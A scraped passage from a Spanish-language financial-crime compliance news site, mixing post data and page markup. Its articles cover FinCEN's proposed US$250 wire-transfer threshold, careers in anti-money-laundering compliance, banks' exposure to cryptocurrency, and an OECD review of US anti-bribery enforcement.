y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 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href="https://www.delitosfinancieros.org/los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas/"><div class="thumbnail-container animate-lazy size-500 "><img width="360" height="180" src="https://www.delitosfinancieros.org/wp-content/plugins/epic-news-element/assets/img/jeg-empty.png" class="attachment-epic-360x180 size-epic-360x180 lazyload wp-post-image" alt="Los bancos necesitan comprender su exposición a las criptomonedas incluso si no toman custodia de estas" decoding="async" data-src="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/AdobeStock_176244558-360x180.jpeg" data-sizes="auto" data-srcset="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/AdobeStock_176244558-360x180.jpeg 360w, https://www.delitosfinancieros.org/wp-content/uploads/2020/11/AdobeStock_176244558-750x375.jpeg 750w, https://www.delitosfinancieros.org/wp-content/uploads/2020/11/AdobeStock_176244558-1140x570.jpeg 1140w" data-expand="700" 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href="https://www.delitosfinancieros.org/el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020/">El programa de denuncia de irregularidades de la SEC establece nuevos récords en 2020</a> </h3> <div class="jeg_post_meta"><div class="jeg_meta_date"><a href="https://www.delitosfinancieros.org/el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020/" ><i class="fa fa-clock-o"></i> 23/11/2020</a></div></div> </div> </article><article class="jeg_post jeg_pl_md_1 post-25351 post type-post status-publish format-standard has-post-thumbnail hentry category-ald-cft category-auditoria category-compliance category-lavado-de-dinero category-noticias"> <div class="jeg_thumb"> <a href="https://www.delitosfinancieros.org/la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones/"><div class="thumbnail-container animate-lazy size-500 "><img loading="lazy" width="360" height="180" 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href="https://www.delitosfinancieros.org/la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones/">La UE creará un nuevo regulador ALD/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones</a> </h3> <div class="jeg_post_meta"><div class="jeg_meta_date"><a href="https://www.delitosfinancieros.org/la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones/" ><i class="fa fa-clock-o"></i> 16/11/2020</a></div></div> </div> </article><article class="jeg_post jeg_pl_md_1 post-25324 post type-post status-publish format-standard has-post-thumbnail hentry category-ald-cft category-auditoria category-ciberseguridad category-cryptocurrency category-compliance category-evasion-fiscal category-fraud category-lavado-de-dinero category-noticias"> <div class="jeg_thumb"> <a href="https://www.delitosfinancieros.org/siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins/"><div class="thumbnail-container animate-lazy size-500 "><img loading="lazy" width="360" height="180" src="https://www.delitosfinancieros.org/wp-content/plugins/epic-news-element/assets/img/jeg-empty.png" class="attachment-epic-360x180 size-epic-360x180 lazyload wp-post-image" alt="Siete años después del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins" decoding="async" data-src="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/AdobeStock_205189657-scaled-e1605048898971-360x180.jpeg" data-sizes="auto" data-srcset="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/AdobeStock_205189657-scaled-e1605048898971-360x180.jpeg 360w, https://www.delitosfinancieros.org/wp-content/uploads/2020/11/AdobeStock_205189657-scaled-e1605048898971-750x375.jpeg 750w" data-expand="700" /></div></a> <div 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category-noticias category-uncategorized"> <div class="jeg_thumb"> <a href="https://www.delitosfinancieros.org/informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion/"><div class="thumbnail-container animate-lazy size-500 "><img loading="lazy" width="360" height="180" src="https://www.delitosfinancieros.org/wp-content/plugins/epic-news-element/assets/img/jeg-empty.png" class="attachment-epic-360x180 size-epic-360x180 lazyload wp-post-image" alt="Informe del DOJ sobre Criptomonedas: un marco de aplicación" decoding="async" data-src="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/2020-NOV-10-Cryptocurrency-DOJ-360x180.png" data-sizes="auto" data-srcset="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/2020-NOV-10-Cryptocurrency-DOJ-360x180.png 360w, https://www.delitosfinancieros.org/wp-content/uploads/2020/11/2020-NOV-10-Cryptocurrency-DOJ-750x375.png 750w, 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<span><a href="https://www.delitosfinancieros.org/category/ald-cft/" class="category-ald-cft">ALD/CFT</a></span> </div> </div> <div class="jeg_postblock_content"> <h3 class="jeg_post_title"> <a href="https://www.delitosfinancieros.org/5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido/">5 pasos para un programa de detección de fraude más sólido</a> </h3> <div class="jeg_post_meta"><div class="jeg_meta_date"><a href="https://www.delitosfinancieros.org/5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido/" ><i class="fa fa-clock-o"></i> 10/11/2020</a></div></div> </div> </article><article class="jeg_post jeg_pl_md_1 post-25307 post type-post status-publish format-standard has-post-thumbnail hentry category-compliance category-evasion-fiscal category-fraud category-lavado-de-dinero category-noticias category-sanciones"> <div class="jeg_thumb"> <a href="https://www.delitosfinancieros.org/el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19/"><div 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href="https://www.delitosfinancieros.org/ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario/"><div class="thumbnail-container animate-lazy size-500 "><img loading="lazy" width="360" height="180" src="https://www.delitosfinancieros.org/wp-content/plugins/epic-news-element/assets/img/jeg-empty.png" class="attachment-epic-360x180 size-epic-360x180 lazyload wp-post-image" alt="EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisión de datos del remitente y destinatario" decoding="async" data-src="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/FinCEN-Threshold-NOV-02-2020.jpg-1-360x180.png" data-sizes="auto" data-srcset="https://www.delitosfinancieros.org/wp-content/uploads/2020/11/FinCEN-Threshold-NOV-02-2020.jpg-1-360x180.png 360w, https://www.delitosfinancieros.org/wp-content/uploads/2020/11/FinCEN-Threshold-NOV-02-2020.jpg-1-750x375.png 750w, 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17:57:43","post_date_gmt":"2020-11-24 21:57:43","post_content":"\n<p><strong>Por Brian Monroe<\/strong><\/p>\n\n\n\n<p>Para ingresar y progresar en un campo tan complejo y cambiante como el dela prevenci\u00f3n y control de los delitos financieros, hay que prepararse para enfrentar las incertidumbres de latecnolog\u00eda, paraabordar temas en los que se sienta \"inc\u00f3modo\" \u2013ae incluso en los que no se sienta capacitado\u2014, para finalmente poder sobresalir como profesional de cumplimiento..<\/p>\n\n\n\n<p>Esos son solo algunos de los consejos y t\u00e1cticas sobre c\u00f3mo iniciarse y ascender en el campo de la lucha contra el lavado de dinero (ALD\/CFT) ofrecidos por  los principales profesionales de cumplimiento de delitos financierosque participaron en la reciente Cumbre Virtual de ACFCS: <strong><u>El Futuro del Fincrime en Canad\u00e1.<\/u><\/strong><\/p>\n\n\n\n<p>M\u00e1s de 2.000 profesionales se registraron para el evento de tres d\u00edas, que estuvo repleto de capacitaci\u00f3n precisa y relevante, <em>networking<\/em>, juegos, obsequios y mucho m\u00e1s.<\/p>\n\n\n\n<p>La conferencia cubri\u00f3 temas de todo el amplio arco de los delitos financieros y cumplimiento tanto en el sector p\u00fablico como en el privado, incluidos puntos regulatorios clave, tendencias de aplicaci\u00f3n, criptograf\u00eda, marihuana, an\u00e1lisis de datos, trata de personas. La cumbre incluy\u00f3 un d\u00eda completo dedicado a las habilidades laborales y t\u00e1cticas para irrumpir en el campo y progresar profesionalmente.<\/p>\n\n\n\n<p>El jueves, el \u00faltimo d\u00eda de la conferencia, oficiales de cumplimiento, investigadores y funcionarios del gobierno abordaron el tema de c\u00f3mo ingresar, sobrevivir y prosperar en el campo del cumplimiento y qu\u00e9 habilidades ayudar\u00edan a los profesionales a ser buscados por las instituciones y reclutadores profesionales,  ahora y en el futuro.<\/p>\n\n\n\n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la 